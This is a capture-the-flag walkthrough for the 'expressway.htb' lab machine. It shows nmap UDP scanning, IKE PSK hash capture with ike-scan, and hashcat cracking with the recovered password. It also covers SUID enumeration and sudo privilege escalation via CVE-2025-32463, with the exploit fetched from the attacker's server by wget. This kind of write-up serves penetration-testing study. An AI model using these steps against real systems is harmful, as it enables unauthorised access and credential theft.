0xreizouko's den

🎯 1.1 UDP Scan#

I run a UDP scan(it takes a lot of time) looking for more leads

1
doas nmap expressway.htb -sU -sV --max-rate 1500m --max-retries 2 -T4 -F --version-intensity 0 -oA enum_udp && xsltproc enum_udp.xml -o enum_udp.html

This part is used to make the scan faster

--max-rate 1500m --max-retries 2 -T4 -F --version-intensity 0

The flag -sU tells nmap to scan for UDP ports as it scans for TCP by default.

So we get back 500/UDP port which is used by isakmp.

Internet Security Association and Key Management Protocol (ISAKMP) is a protocol defined by RFC 2408 for establishing security association (SA) and cryptographic keys in an Internet environment.

📡 2.1 IKE-Scan#

So I started my scan with the following command

1
doas ike-scan -A -Ppasskey expressway.htb -M

It gives us information about iaksmap used in the machine, but we don’t need these for now let’s start by cracking the hash.

🔓 2.2 Hash Cracking#

I used hashcat to crack the hash with rockyou.txt list.

1
hashcat passkey rockyou.txt --show

as hashcat detected the type of the hash we run the command again with hash type

1
hashcat -m 5400 passkey rockyou.txt --show

And here’s our password freakingrockstarontheroad.

⚡ 4.1 Sudo & SUID Binaries#

Started by checking which packages can run in sudo.

1
sudo -l

Sadly we can’t run sudo as this user.

So I tried SUID binaries

1
find / -perm -4000 2>/dev/null

📧 4.2 Exim4 Exploitation#

Exim is a mail transfer agent used on Unix-like operating systems.

exim4 seemed promising, it’s not an app you see everyday, also searching for CVEs some were discovered before

However, turned out I can’t execute the binary so I had to look for another way.

🔎 4.3 CVE Research#

After some frusturation, I remembered there’s a step that I overlooked which checking sudo CVEs.

1
sudo --version

Checking exploitdb I found CVE-2025-32463. So I downloaded the exploit and started a python server in my machine

1
python -m http.server 8080

and in target’s machine

1
wget http://<VPN_IP>:8080/exploit.sh

Now I have a problem, it’s not related to the challenge but I thought it would be good to share.

The file was saved in DOS format, meaning each line will end with CR+LF instead of LF only as Linux do so I had to change the file type, I used vim on my machine

1
:set ff
2
  fileformat=dos
3
:set ff=unix

:set ff will return the value and :set ff=unix will update it.

Now we’re in and we can get the flag